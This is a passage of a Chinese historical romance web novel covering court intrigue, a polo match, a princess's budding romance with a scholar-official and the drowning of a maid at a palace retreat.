众人抬头去瞧,竟是公主不知何时将鬓间的那只金步摇摘了下来,如一支箭矢,出手敏捷地朝那侍女飞了过去。
姜宝来不快不慢走了过来,笑吟吟地瞧着那当即跪地的侍女,随后她抬眼去瞧身旁的长公主,道:“我的好姑母最是疼惜乐宁,姑母说多吉冒犯了你,可这个……她叫什么来着?我若记得不差,是叫珊瑚吧?她也冒犯了你侄女我啊!”
“不若姑母随我一同去父皇那,瞧瞧怎么治他们的罪?俗话说这打狗还要看主人,可是姑母啊……这多吉自幼在我身边,这珊瑚自然也是很早就在姑母身边。藐视皇室,这罪名是挺大的。最好父皇一个大怒,将我们都关在大牢里,关上个数日月余的,如今长安城是乌烟瘴气,正好侄女我带着姑母去大理寺几日游!”
长公主听着姜宝来的言之凿凿,险些背过气去。这长安城没有比她的侄女还要再伶牙俐齿的人。
而皇兄这些年来是如何宠爱谢瑶珍的女儿的,大家是有目共睹。
她若为此将事情闹大,最后将她那个太子皇兄也得罪了,待皇兄一命呜呼时,她那好侄儿回头就要来寻自己算账。
那是个宠妹狂魔。
上面还有个宠女的皇兄。
当年谢瑶珍若非血崩而死,皇兄心尖尖上的人若还在世,指不定这侄女会更加狂妄、骄纵。可那又如何?如今宫里还有个姚圆清。
长公主还未答话,姜宝来已一手抚着额角:“啊呀!程子煦,我头晕,快快送我回去。”
“多吉今日可要可好了我的屋门,那些娘娘们养得猞猁,鸟儿啊,一个都不准让它们钻进来、飞进来扰我的清梦。”
程晚仍然恭而有礼地朝着长公主行了一个告辞礼节,随即朝公主而去。
长公主在后暗暗气恼:这个探花郎是一点错处都挑不出的!
出了玉华湖,姜宝来的步履开始越来越快,健步如飞。程晚跟在后面,看样子是
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真的想将她送回住处。
突地,姜宝来停了下来,一个转身,蹙着眉,带着显然的不悦:“吕凌音是谁?”
吕凌音是谁?
程晚将这五个似在油锅里煎炸反复的字在脑海里短暂思考一番。
他道:“我不认得。”
姜宝来笑吟吟:“好啊,你说你不认得?她接二连三地去崇文馆,等着你这个校书郎下值,再亲眼瞧着那充满爱意的食盒递到你的面前。这屡次三番的铁打的心都动了吧?”
说着姜宝来再一步步走上了前,贴近他,咫尺的距离:“有我漂亮?有我可爱?有我福气绵长?”
程晚听在而里,很快想起自打春日里在崇文馆任职,每每午后下值,学馆前便站了许多家宅的小厮。
倒是有一个描金的食盒总是出现在自己眼前。
他记忆深刻,倒不是因为别的,而是那食盒上的花卉与面前的姑娘那眉间花钿毫无二致。
程晚点头。
姜宝来见状更气了,瞪圆了眼睛:“什么!”
程晚浅笑着,说:“我不曾受。”
“也从未见过那个姑娘。”
“延寿坊、崇文馆、太子殿下,嗯……还有乐宁的公主府,我常会去而复返,这就是我的一天。”
程晚说着,想了想,又道:“除此外,不知与僚友在松风茶肆吃上一盏茶……算不算?”
他话语里似带着一丝问询的意味,姜宝来凝视着他那双澄澈漂亮的眼睛,许久过后,她唇角弯起,问:“殿下、殿下,你与阿兄怎生情义这般好啊?”
“看样子倒不像君臣,倒像亲兄弟。”姜宝来随口地说。
程晚眼睫微颤,这一次却是难得未语。
姜宝来以为是他因避讳她提及他与阿兄情同手足的缘故,这个程子煦办事最是沉稳谨慎了。
于是她漫不经心地说:“我那几个同父异母的哥哥,与阿兄都不大亲热。除了我那二哥哥,其他的都是面子情,相亲相爱,相安无事。待我嘛,倒是真像‘亲’妹妹似的。阿兄在那个位置可谓是如履薄冰。”
“程子煦,阿兄极其信任你,那将来、现在,你可莫要辜负了阿兄对你的信任。”
程晚这一次却是笑得眼眸弯弯,温和道:“子煦待殿下可不避艰险,亦可舍生忘死。”
姜宝来闻言眼皮一跳:“什么死,不许提死,我们都要好好的活着……”
-
傍晚,姜宝来沐浴后出了浴堂,覃楹也被派出去打探消息回了院子,道:“公主,宴会后姚娘子去了淑妃娘娘的住处,直到将戌时才离开。”
宴会是酉时结束的,姚芳好却急急忙忙去了姚圆清的住处,一待就是一个时辰。
还未待姜宝来细想。
雾萝又蹑手蹑脚进了屋子,随手关上了门:“公主,茂才公公送了许多野果子过来,说是太子殿下带着程校书去山中摘的。依婢子看,许是今日公主没怎么用晚膳,那程校书看在了眼里。”
姜宝来看着那些红彤彤的野果,坐在榻上一手托着腮,唇角弯起。
她眨了眨眼睛,吩咐雾萝:“去给湘君姐姐送一些,还有文君、顾绮那边。”
“至于怎么说……”
雾萝连忙接道:“婢子就将茂才公公的话原原本本带到就是了。”
眼瞧着公主眉开眼笑,雾萝一手挎着竹篮便出了屋子。
27. 马球
翌日,齐王并楚王、滕王几个,相约打起了马球,世家小娘子们也都相继前往。
除去齐王外,其余的皇子们因年岁尚小都没有成婚。而世族的那些姑娘们来此行宫一行,也是带着各自的目的。
姜宝来在用过了午食后得知此事,侍女们认为公主素来不喜交际,平日里逢这种场合,都是让覃掌事去推了。
果然公主吃过了午食,抱着一盏乌梅饮,懒洋洋倚在了美人靠上,围着院子后的一池游鱼。
姜宝来抓着一把鱼食洒下,雾萝在旁服侍着。
来禀报公主的侍女又言:“听闻淑妃娘娘得知此事,还准备了礼物作彩头。”
姚清圆?
“她去做什么?”姜宝来问。
这种场合她可是从来也不参与的。
侍女摇头:“婢子回来时瞧见姚娘子也去了马球场。”
姜宝来又让雾萝叫来覃楹。
这几日在行宫覃楹神出鬼没,总是不知去向。侍女们不明所以。
没过多久,覃楹进了屋子道:“自打昨日宴会毕姚娘子去了淑妃娘娘那里,一直在自己的住处待着。”
姜宝来闻言,略一思忖,将手中的鱼食尽数洒下,拍拍手起了身:“小萝儿,给我更衣。”
雾萝一时纳罕:“公主要去跟着殿下们打马球?”
“去!为什么不去!”
“我浑身充满了活力!动动筋骨,延年益寿!”
雾萝气:“公主,你才多大啊!正是如花似玉的年纪,就想着今后的事儿了。”
-
不多时,姜宝来又差覃楹去唤上杨家姐妹与顾绮,马球场内,她一手牵着追月慢悠悠而至。
相比几个皇子们的银鞍骏马,嘉福公主的马鞍旁则挂了许多珍珠铃铛,一路走来,声音十分悦耳。
先闻其音,再见其人。
看台的场亭里,程晚站在姜朔玉的身旁,见此一幕,眼底的笑意逐渐蔓延开来。
顾绮见到追月,忙迎了上去。
这匹小白马她最喜欢了,但是它高傲得很,每次她想轻柔地摸一摸它,它都会头仰着老高俯视着她,很是高傲。
有一次她去公主府拜访,公主正给追月换了漂亮的马鞍。公主府的侍女们各个美貌,穿得鲜艳,公主更是如此。
她问公主:“这马鞍也有不同样式的么?可追月是马儿,它可知道甚是好看?”
公主朝她扬眉一笑,尽是妩媚:“我爱漂亮,我的马儿叶也自是要与众不同。月月有新鞍。”
那一刻,顾绮觉得,公主府里,各个角落还未绽放的花骨朵都盛开了。
晋王世子见到自己堂姐带着追月前来,也跟着忙迎了上去。
“公主堂姐,你这次要选何人和对手?”说着他侧过头略微瞥了一眼趾高气扬的追月。
这个小白马,他只有觊觎的份,没有得到的份。
姜宝来一扫场亭里与在场围旁的众人,本想让程晚与她打上一场。余光见那些探着头,踮着足的姑娘们在朝球场里东张西望。
她话锋一转:“程子煦,你会否?”
程晚笑道:“略知一二,子煦愿舍命陪公主。”
“略知一二么……”
末了,姜宝来选了顾绮、与杨文君与程晚、魏翊扬。但杨文君却在这个不恰当的时候来了月信,附耳与公主小声交代了一番。
姜宝来闻言,瞧了瞧落落大方,端庄温婉的杨湘君,道:“湘君姐姐,不如你来与我组队吧?”
自打杨湘君嫁入沈家,平日里除宗妇们特地相邀,便很少出宅门。而年少时喜欢打得马球,肩抗的鞠杖也不再是触手可及。
杨湘君踌躇一二,很快朝着公主笑道:“那今日湘君便也舍命陪公主。”
这场比赛的对手是齐王、滕王、姚植与姚培两兄弟。齐王身有腿疾,平日里的骊山秋猎、冬猎,自打那一次意外后再不曾参与,但马球却打得极好。
但姜宝来也不是会吃瘪的。
可今日队伍内多了一个一身书卷气的儒雅郎君,姜宝来又让多吉去唤来程晚,在追月的身后探过头严肃问,问:“程子煦,可行?”
“若是输了,我要狠狠的罚你!”话落,她瞧着程晚身上那件受拘束的青袍,明眸转了转,看着与程晚身量相当的魏翊扬,又笑盈盈上前去问:“魏长风,你有没有还未上身的衣裳?”
魏翊扬自打入职南衙十六卫,往日的穿着皆是一些利落精神的骑装,方便执行公务。
魏翊扬瞧着公主,一时默然。昨日来行宫他自是让时暗多准备了两身衣裳,阿娘身子骨这些年来都不大好,平日里他房里的一概事宜都由时安打点。
公主素来爱打马球,那两件衣裳还是特地让时安去订的。
魏翊扬一时未作声,但这些年,自小到大,姜宝来自是对他一清二楚。
“你定是带了。”
魏翊扬一扫在那小白马身侧静站的程晚,此刻正嘴角含笑朝他看过来。
他收回视线:“乐宁,你要我将衣裳给他?”
姜宝来:“你没瞧见对面那几个?一个比一个,像个花孔雀?怎么我的人,就得低人一等?我不痛快。那衣裳我买下了,银子先欠着,回头给你。”
魏翊扬再一扫对面的姚家兄弟与齐王、滕王,尤其是姚培,穿了一身花花绿绿,在人群里甚是炸眼。
魏翊扬笑了笑:“你等着,我这就去取来。”
姜宝来见魏翊扬离去,又登上了场亭去寻胞兄。
姜朔玉看着妹妹,先笑了笑,而后吩咐身侧的茂才:“去将我的马牵给子煦。”
姜宝来唇角倏尔一弯。
没过多时,多吉便带着程晚换了一身骑射服复返。平日里她瞧见的程晚,不是一身玉白色的布衣,便是一身天青色,总之皆是素雅平淡的色彩。
而今日去而复返的程晚,一身玄色束腰窄袖骑装,外罩一件宝相花纹绛色半臂,腰间再由一条蹀躞带围系。利落又俊逸地出现在了马球场内。
看惯了程晚平日里举手投足间,温文尔雅气的姜宝来,乍一看这一身锦衣加身,大显意气风的程晚,姜宝来一时愣住。
看台上的世家小娘子们纷纷站起了身,立时躁动一片。
魏翊扬抱臂在旁,这衣裳本是他为自己量身定做的,可他今日换上了另一身,总不能脱下来再给那校书郎换上吧?
这不是他的作风。
“怎么样,行不行?”
“行!就它了!魏翊扬,你不会这就是为他程子煦量身定做的吧?”<
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魏翊扬:“……”
齐王滕王作为兄长,丝毫未有谦让妹妹的架势,而姚家二郎更是使出了浑身力气。
场亭里,姜朔玉放下手端得茶盏,看向那策马扬鞭,意气风发得程晚,垂眸一笑。
从前的之恒叔父,战功赫赫的淮南王,年少时也曾鲜衣怒马,身负凌云壮志。
可后来,又是如何了……
球场内,战况激烈,你追我赶,齐王一对先是得了优势,一时兴奋,与表兄姚植两个在前程胜追击。而落在身后的姚培瞧见姜宝来几个,一个是公主,一个是当朝太傅的孙女,另一个冷眼看他,很是高傲不屑的中郎将,这三个他自是暂惹不得,但那个校书郎程晚嘛,一个寒门来的穷书生,一个装清高的乡民,还能比得过他姚家世代簪缨?
姚培再去瞧前面的公主,一身火红的骑装,发鬓高挽,浑身上下都透着一股活力满满。
他一时心下愤恨,那日在御苑,这个貌美公主就是为了那程子煦掌掴了他,还因此让他当着一群同为世家兄弟的面前,落了脸面。
姚培越想越恨,蓦地咬紧了牙,打算趁乱出击。他当即御马奔腾上前,一球用力看似不经意打在了程晚的腰侧,程晚立时一声闷哼,不过很快就恢复了神色,回身去瞧跟上来的姚培。
那乌黑的清眸里,这一刻充满了清冷与疏离。
姚培一瞬呆住,这个程子煦,寻常都是一副斯文儒雅好脾气的态度,他还从未见过他这样一副面孔。
姚培揉了揉眼,再想自己去瞧,可入目的却是程晚那一双温和澄澈的眼睛。
他一时愕然。
难道他看错了?
他听在原地几息,前面的魏翊扬等人也相继出击,几人越战越烈,姜宝来看准时机,一棍将球悠向了姚培的方向。
而滕王自打上场不断落在后面,正想拼个好名声。但时间久了,又有些头昏眼花,眼瞧着那球飞到了自己面前,顺着力道一球击到了姚培的面门上。
姚培立时赶到面上钝痛无比:“啊!滕王……滕王殿下,你怎么打自己人。”
滕王自视出身高贵,做错了事也不曾为自己辩解,道:“你怎么不在旁助我?”
姜宝来再后牵着缰绳,朝前狂奔,一个冲锋上前,立时马蹄飞扬。随即她一个转身,将球击了出去。
几个回合下来,姜宝来一方大获全胜。
她翻身下马板着一张面对追月耳语了一番,随后很快上前去了看台。只因她瞧见姚芳好去了胞兄的场亭里。
姚芳好手端着一方匣盒立在姜朔玉面前,姜朔玉淡淡地笑。
“……姑母说即是公主赢了比赛,这彩头便由殿下赠给公主好了。”
姜宝来急匆匆朝场亭里走着,尚不知姚芳好到底唱得是哪一出,但听见她那如黄鹂般动听得声音,忽地她眉梢一挑。
怎么着?移情别恋?
姜宝来已进了场亭,朝那匣子里看一眼,道:“不错,赏你了。退下吧。”
姚芳好愣了一愣,瞧着突然出现在亭子里的公主,嘴角的笑容慢慢褪去,紧抿了唇。
片刻,她正要开口,看台下却突然响起一声刺耳的嚎叫,与骏马的嘶鸣声。
“啊——”
“阿兄我来救我!”
28. 吻落
姚芳好冷不防听到弟弟的求救声,猛地转过了身。
之间球场内,公主的那匹小白马前蹄扬起,仰头朝天一声声嘶鸣。而姚培正在那匹小白马的蹄子下,东滚西爬,左躲右躲,好不狼狈。
好在公主身边的宦官“及时”赶去,将那匹小白马安抚了下来牵去了别处。
姚家大郎将弟弟扶起后朝看台上深深地望了一眼,姜朔玉也在这时起了身,问台下的宫人:“怎么了?”
宫人道:“回太子殿下,方才公主的马儿不知怎么突然冲了出来朝着姚家小郎君去了。”
姜朔玉闻言看向自己的妹妹。
姜宝来一脸茫然,随着胞兄走下了石阶,望向被姚植搀扶着一瘸一拐走来的姚培,她诧异道:“我也不知道啊。我这马儿最是乖巧,最是听话了。姚家小郎君,要不然你去问问?”
姚培一时瞪大了眼睛,想起那匹与公主一般漂亮马儿仍然心有余悸。
方才他明明好好的与兄长站在一块,正与齐王表兄说着话,那匹本已经回到马厩的马儿不知为何突然折返回来,眼瞧着奔自己而来。待身旁的宫人提醒自己时却为时已晚。
姚培看着面前明艳动人的公主,动了动唇:“没……没事儿。”
姚植闻言回眸冷冷地看了弟弟一眼。
而程晚那边,齐王正对面前的他,一番谈笑。
“……程校书是哪里人士?”
“如今师从何人名下?”
“目下可有娶妻?”
程晚一一谦谦有礼地回应着。
姜宝来虽听不见二人在谈些什么,但见她那二哥哥一副似笑非笑的面孔,便知道他打得是什么主意。
齐王虽失去了一条腿,但时不时要拉着父皇上演一出父慈子孝,谁知心底里到底有没有盯着那储君之位与阿兄博弈一番,但姜宝来觉得这就是无用的挣扎。
而程晚,这二哥哥明知是阿兄举荐的人,现下在崇文馆做事,还这般明目张胆,到底是想拉拢程晚还是想试探呢?
姜宝来笑盈盈地走了过来。
她这二哥哥表面上是个宽厚有礼的,待哪个都兄友弟恭,她怎么就不认为呢?可若不是伤了一条腿,她不介意在她长大成人后再让多吉废了他,为阿兄扫清障碍。
齐王听见身后的脚步声,回身看见来人,笑眯眯道:“二哥还以为妹妹不来了呢!”
姜宝来一双眼也笑成了月牙,很是亲昵地道:“这么热闹妹妹怎么能不来呢?二哥可用过饭了?不若去我那儿,我让厨娘做一道胡椒羊肉汤给二哥?”
齐王闻言本是笑眯眯的神态,突地换了一副面孔,他尴尬一笑,随即转了话锋:“妹妹似乎对程校书很有兴趣啊?若是这般……”说着他眼峰一扫不远处的魏翊扬,道:“那长风弟弟可要不妙了。”
姜宝来笑得更是明媚:“听闻二哥与嫂嫂最近相处不大融洽啊?可是府上又因哪个姬妾争风吃醋了?这家宅不宁可是个大事啊!回头若被父皇知晓了去,恐怕是不喜的。”
齐王闻言再一愣,片刻,他哈哈笑:“妹妹真是牙尖嘴利,在你二哥这里讨不到一点亏啊!”
姜宝来:“亏是不能吃的,我要用膳了。与我的人说完话了吗?要是没有别的事,我可就带走了。”
齐王听罢一呛:“什么……什么你的人?”
姜宝来一脸平静:“这就是我的人。”
-
离开马球场后,姜宝来回了御苑,她重新沐浴一番,又换了一身轻便的罗裙,命覃楹从妆奁里挑出一根木簪随意挽在脑后,这才出了浴堂。
而程晚已在外室等了多时。
姜宝来出了浴堂到正屋,瞧见坐在椅上安静而座的程晚,唰地又沉下了面。
“脱了。”她一声道。
程晚见她进了正屋已起了身,闻言眼睫一颤,而后倏地耳尖一红。
姜宝来见他不动,再一声:“将衣裳脱了。”
身后正服侍公主沐浴完毕的雾萝一时乍舌。天爷啊,这青天白日的,公主这是要做甚?
虽说这校书郎长得俊朗不凡,风度翩翩。可这是在行宫,陛下殿下们都在,乌泱泱地一群宫人,她有心提醒。
公主,公主咱们可不能白日宣……啊!
“公主啊……”
雾萝还未将话说完,公主又再次下了令:“你们,都出去。”
雾萝见公主一双眸子里已是熊熊燃烧的火焰,想了想,去拽了拽身旁覃楹的衣袖。
她们说不得,覃掌事总能说两句吧?
谁知覃楹却先带头出了屋子。
雾萝:……
最后,雾萝到底不忘将屋门紧紧地关上,聚精会神地守在门外防止有不相干人等进入打扰了公主的好兴致。
正屋里,程晚仍站在原地,耳尖微红。
他眉眼柔和,声线清润:“……乐宁?”
姜宝来更气了。
立时上前两手覆上了他的衣襟。
程晚见此,一手握住了她,牢牢握在自己的掌心。
“乐宁。”
这可是他这些时日以来难得的一次举动,可也正因为此举,姜宝来心底的火焰蹭蹭上涨。
“你在防我?”她问。
“不是。”程晚温声答。
“我摸不得?看不得?碰不得?那你告诉我谁人能碰得?我去给你找来。然后我出去。”姜宝来一连追问,满面的愠意。
程晚心中一颤,心跳莫名地开始加速,他眉眼间带着柔和看着面前的公主:“何人也不得近身。乐宁,你想做什么……”
闻言,姜宝来笑:“那就是我近得?”
随后她再道:“松手。”
程晚神色平和地看着她,渐渐松开了牢握在手心里的那只手。
谁想面前的公主又变本加厉,一手去解他腰间的蹀躞带。
程晚蓦地一惊,刚刚面颊上挥散的红温,腾地再次燃烧了起来。下意识步子朝后一退,很快却被那只手勾了回来。
面颊擦过她的发梢,鼻间顷刻吸入的一缕芳香。
很快他听公主道:“你那半臂外系着蹀躞带?我怎么脱?我可没想做些什么?我是那种人吗?”
姜宝来忽地抬头,凝视着他,意味深长地笑了笑:“程晚,你是傻的么?”
“那姚二郎的棍棒都打到了你身上,你何故不回击?打他个屁股尿流。打他个哭爹喊娘!我明明听到了你那一声吃痛?怎么?忍着,我若不问,你便不说,是不是很好受?”
程晚看着面前一脸愠色的公主,只觉心跳猛地一停,几息,他轻声道:“我无事。”
“那让我看看!”
程晚面上再次一热,他浅笑着:“你……我……已经不痛了。”
“你我什么?你我男女大防?授受不亲,男女有别?程!晚!”姜宝来说到最后,立时倾身上前吻了上去。
却只是刹那一触,便与那片温软分了开。
程晚那双澄澈的明瞳里尽是怔然。
姜宝来盯着他那张已淡淡红晕的面容,道:“因为什么?阿兄?还是因为他是权臣的儿子?程晚,在我这就没有吃亏的,既如此,我的人也定不能吃亏。”
程晚闻言唇角微微地扬起,笑意分明,声线清润柔和:“我没有让自己吃亏。”
“公主不是替我报了仇?那我便不算吃亏。”
姜宝来看他满面的笑颜,瞪了过去:“什么意思?我什么时候替你报仇了?程子煦,你想得太多了!”
程晚无声一笑,温和道:“马儿。追月。”
姜宝来却仿佛没有听见,而是垂着眸,看着他腰间的那条蹀躞带,怎么瞧都是不顺眼。
举国上下,凡金玉带为三品以上官僚所属,
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三至七品的官僚为金带,银带銙。而九品的鍮石銙便如身份的象征一般,平平无奇。
姜宝来垂着眸,认真地想了想:“程子煦,我要何时能看你戴上那金玉带呢?这个着实不顺眼。”
她抬起头:“要不你努努力?”
程晚失笑,看向自己的面容映在她那双灵动的明瞳里,他道:“好,我努力。”
“可长安人才比比皆是,那朝堂上,‘大妖小妖’神出鬼没,或者走走别的路子?”
“比如尚公主?你只需与我好好地说一说,我再去寻父皇赐个婚,这嘉福公主的驸马怎么也要有条金玉带吧?”姜宝来眨了眨眼,笑盈盈地看着程晚。
程晚微微一笑,嘴角边的一双小梨涡立时乍现。
他正想着该如何回答公主,又听公主说:“可这不是他程子煦能做出来的事对不对?”
程晚含着笑意:“知子煦者为乐宁。”
姜宝来看着他满面的和煦轻轻哼了一声,勾在他蹀躞带上的一指忽地松了开。再没了心思去撩拨他,但程晚离开时,她还是吩咐了多吉带着随圣驾来行宫的御医去瞧瞧他的伤势。
御医听闻公主的口谕忙接了旨,正要随公主身边的宦官去别院走上一遭,身旁的袁奉御漫不经心地轻拂了拂护膝,不动声色道:“老臣闲着也是闲着,亲自走上一趟吧。”
袁奉御乃尚药局里出了名的顽固,古板,半点不通人情。只知按章程办事,他若不想诊治的病者,死脑筋起来,即是位高权重的晋王爷也不为所动。
当年辽东一役生变不久,今上的同父异母弟兄晋王得了一场重病,茶饭不思,水米不进。晋王府上下乱成了一片没了办法,遂来相请宫中的两朝老臣袁奉御,谁料袁奉御闭门谢客,只开了药方,毫无顾忌道:“那荤腥油腻吃多了,人能好?吃素吧。殿下关起门来,日日焚香礼佛,吃个三年五载的素,身子骨强了,那一身赘肉也去了。”
如此直言不讳,换作旁人便是一百个脑袋也不够砍得。但袁奉御是当年寿昌皇帝亲自提拔起来的臣子,护得了先帝寿昌得驾,还救过幼年时得当今主上性命。
多吉搀着颤颤巍巍的袁奉御去了朝官们宿下的别院,袁奉御觑了一眼身旁的多吉,抚须含笑问:“这公主啊还是头一次对个儿郎这么上心,那后生叫……叫什么来着?”袁奉御眉眼慈和,一叹道:“老臣都听说了,昨日来行宫颠簸一路,这上了年纪,身子骨就不行了,宴会上陛下特地准了老臣的假。老臣没参与,可惜没一探那探花郎的风采。”
多吉垂着眸,目光温和笑了笑:“姓程名晚,瞧着是个不错的。”
“你说不行,得老臣我亲自替公主把把关,公主可是我自小看着长大的。这夫婿可不能选错了。”
袁奉御瞪着眼,吹着胡子,一字一句地说着。二人也慢吞吞走到了别院。
庭院里,程晚从公主的闺帏回来,正要换下那身骑服浆洗干净,他已经穿过了便不能再将它物归原主了。
正想寻了机会与那中郎将魏大人道一声谢,改日再依着尺寸去成衣铺重新订做一件以表示感谢。
却没想到公主身边的宦官寻到了御苑。
程晚听见院子里的脚步声,迟疑一瞬,将衣襟上方解下的那颗盘扣好,觉着衣着得体才走了出去。
程晚以为来寻他的会是太子殿下身边的茂才。但没想到是公主身边的多吉。
程晚见多吉半扶半搀,带着一个老者缓慢而行。那老者笑声响亮,虽不识得,他仍然在廊下行了常礼:“多吉公公,可是公主在找臣?”
袁奉御年纪大,眼睛这些年也不如年轻时,开始离得远瞧不真切起来。
但远远地瞧见那廊下站立的那道身形清瘦的挺拔身影,加上他眼神不济,看不大真切的面容。
恍惚间,袁奉御神色微滞,驻足不前。
“之恒。”
29. 坠湖
多吉闻言神色也跟着变了变,随后回眸朝袁奉御看去。
程晚眉眼中带着柔和,步履轻缓地走了过去:“下官见过袁奉御。”
袁奉御睁着昏花的一双老眼,盯着程晚瞧了片刻,随即回过神来,问:“你见过我?”
程晚沉静答:“不曾见过。奉御走近时给带着一缕药香,下官想应是尚药局人士。其二再见老者须发皆白,行动迟缓,却神色安然,笑音响亮,应就是袁奉御了。”
袁奉御再去瞧神色恬淡,举止沉稳的程晚。听他谈吐风趣,不似其他同僚肃穆。
他抚须笑笑:“世人知我者都要换我一声‘袁不阿’,刚正不阿,可这都是明面上的面子情。私下里说我最是迂腐,半点不通人情,恪守旧理。可万象换新,新朝方立,一代新人换一代旧人,我若不再守着那些旧规矩,谁还记着那些陈芝麻烂谷子的事儿与那些昔日旧人啊?”
“君埋泉下泥销骨,我寄人间雪满头……”【1】
袁奉御一声喟然长叹,由着多吉朝屋子里引。
程晚再见到袁奉御时心里已明白了多吉的来意,他垂眸浅笑。不待多吉说明来此缘由,袁奉御已经话茬接了过去,他睨了程晚一眼:“怎么着?还不随我进屋子瞧一瞧你的伤?是我自告奋勇要来的。”
程晚含着笑将袁奉御朝屋子里请,又对身侧的多吉道:“多谢公公,公主费心了。”
多吉只微微点了点头,并未开口言语。
进了屋子,多吉将药箱放在案上便径自去了廊下守着,袁奉御又悠悠道了一句:“小儿郎,这衣裳衬你。”
“如今是在崇文馆当值?”
程晚已退下了衣袍,闻言点点头,温和道:“正是。春日里进得学馆。”
袁奉御看着他腰腹上的一片乌青,不由皱了眉头:“好小子,姚坤那个老滑头,老子如狐狸般狡猾,这小子也一肚子的坏水。”
袁奉御一边去药香里翻找着药膏,一边随口道:“这六学二管里做事的都是有前途的,殿下待你不薄啊!”
程晚说:“得殿下倚重,下官铭感于心。”
袁奉御东翻西找,找出了药瓶将它搁在了书案上,指着它道:“每日多擦上两回就行了。”说着又仔细端详起程晚。
程晚抬着头,任他细看。
袁奉御道:“公主是我自小看大的,脾气大,遇事就朝前上,不拐弯抹角,但也正因直率里没有那些虚头巴脑的,也正因此,需要有个能接得住她这爆脾性的驸马。她性子急,那这驸马的性子就慢一些。公主是明事理的,外面传言公主跋扈也好,野蛮也好,听听就成。有些事有些人得自己去体会。”
程晚目光柔和,嘴角噙着浅浅的笑意:“下官明白。劳奉御挂心。”
袁奉御一合药箱提起就要朝外走:“哦,且看造化吧。福分、机缘缺一不可。这凡事都讲究因果,原先老夫自是不信的……”
说着,袁奉御的手中不知何时又多出了一个小瓷瓶,重重搁在了程晚的手心里,而后由多吉搀扶着慢悠悠离去。
“跌打损伤最是管用,老夫今日高兴,小儿郎,我袁家的独门秘方,今日多送你一瓶。”
程晚看着手里多出来的药膏,望着袁奉御离开的身影,随后将它收在了袖中。
-
掌灯时分,一场急雨至,大雨肆虐,行宫内本在园子里漫步、游湖的诸人都急匆匆回了自己的住处。
女眷身居的内院里除了树上的枝叶沙沙作响,一切都寂然无声。
而长公主的闺帏内罗帐轻垂,半开的小窗雨声交织着风声,听得人心慌意乱。
纱幔随风缓缓飘起,一对交颈的鸳鸯方雨歇云收。
-
雨下了一夜仍然未停,雷声滚滚。待天光大亮时,一声来自于值夜宫娥,极度恐慌的惊叫穿透过行宫上下。
人心惶惶。
中宫谢氏命殒多年,后宫再无所出一位皇后,因此这些年凡后宫设宴都是姚淑妃在操持。
得知内院的异动,姚淑妃速速命侍女前去查看。
原是顾绮昨日带着侍女蝉儿,吃过了酒想去湖边散散心,二人后来见天下起了雨便回了屋子,谁想蝉儿平日里戴在颈上的一把长命锁却不见了。
那耳坠原是蝉儿的阿娘在生前送的,她很是喜欢,但为了避免麻烦别人,顾绮并未声张,只带着蝉儿两人一块回去找了找。
寻找未果,顾绮想着明日托公主去寻一寻,谁想夜晚蝉儿却自己跑了出去,许是雨天看不清路,蝉儿就此坠下了玉华湖,加上突降的大雨,蝉儿已在湖里泡的看不出原本得模样。
顾绮疯了一般跑了出去。这侍女从小就在她的身边,跟着顾绮从顾家而来,是奶娘的女儿,后来奶娘过身,当年从顾家来长安的便只剩下她二人,可以说是相依为命。
姜宝来听说了是顾绮的侍女,赶到时玉华湖旁已围了许多人。
姜宝来见顾绮双膝跪地,哭得两眼红肿,怀抱着仰躺在地已没了声息的侍女。雨丝击打在顾绮的面上,顾绮却浑然未觉。
姜宝来见她衣裳单薄,只穿了一件薄衫,让覃楹过去撑了伞又并将自己披风给了顾绮。
顾绮抱着侍女的尸身任凭谁人说也不肯撒手。
旁侧,有世家女子道:“昨日天黑的很,上头的云彩乌压压一片,又下着雨,有当值的宫娥也险些坠了湖。瞧着这姑娘也没比我们大多少,真是可惜了……”
议论嚷嚷,一茬接一茬,姜宝来一个眼风扫过,贵女们再不敢多言一句。
也就是在这个时候,顾绮忽然起了身,以一种极快地速度奔向了湖岸边。
“奶娘……奶娘给蝉儿的长命锁还在湖里,那是蝉儿唯一的念想……”
贵女们下了一跳,有伶俐的追上前去阻拦。行宫的宫人们见此也纷纷追了过去。
姜宝来一个眼神递过,雾萝已如闪电般冲了出去。
顾绮当即晕倒在湖岸边,魏家父子也在此时闻讯赶了过来。
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晌午时,雨势渐弱,行宫里年纪轻的姑娘们都心神不定。毕竟昨日还活蹦乱跳的一个人,今日就死在了自己的面前,还是那般的惨状,说不怕是不可能的。
而上面一个陛下,一个宠妃,都没下令,姑娘们还不知此玉华宫一行还要待到什么时候。
姚芳好带着侍女莺儿回了内院一手关严了房门,回头面带慌张问跟进来的莺儿:“我的香囊你有没有看见?”
莺儿满脸茫然,再一瞧小姐的腰间原系香囊的位置,果然空空。
莺儿道:“婢子没瞧见?是不是方才落在了哪里?要不然婢子去瞧瞧?不过今日出门时婢子还瞧见了就不是在外院丢的,内院里都是女眷,小姐无需担心。”
姚芳好踌躇片刻,咬咬牙,又带着莺儿重返了回来时的路线与方才在玉华宫停留的位置,却无论如何也寻不到那个香囊。
莺儿疑惑:“不若我们禀告淑妃娘娘,让娘娘派人帮小姐找一找?”
姚芳好忽然摆摆手,制止她:“那是有一年花朝节我在走街的摊贩里买的,很是喜欢,我已戴在身上多年了。我只是恋旧罢了,不必找了,你先退下吧。”
莺儿见她态度明确,便不好再说什么,悄无声息地退了下去。
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待到傍晚,顾绮终于从昏睡中醒来,却忽然口齿不清地大喊起来,一会儿傻笑一会儿恸哭,瞧见公主也不识得。
姜宝来一直在外间的椅上坐着,三盏茶入肚,一会儿支着腮打起瞌睡,一会儿又让雾萝拿了扇来,呼啦啦扇着风。
目下,她烦躁得很。
魏家父子站在屋外走来走去徘徊不停,得知顾绮醒了都朝着屋子里看。
姜宝来起了身,瞧着昨日里还在她眼前蹦蹦跳跳的顾绮,蹙了蹙眉,问御医:“她如何了?这个样子,什么时候能好?”说着她有些怀疑地再瞧了顾绮一眼:“不会是那蝉儿上了她的身吧?要不要做法事?”
御医听着公主的猜测眼皮一跳,行礼道:“照脉象上看并无大碍,依微臣之见,顾娘子许是大悲之下心智受损。微臣的内子在家乡原有一表侄便是因幼年在街上不小心与家人走失,后来还是在人牙子手里寻回的。孩子虽然在当年找到了,但却受了惊吓,行动迟钝,惧怕见人。”
姜宝来仔细听了,半晌她问:“那可有恢复的希望?”
御医恭声道:“这个还看要顾娘子可有想恢复的本能。也就是顾娘子的意识里有没有想恢复如初的意愿。”
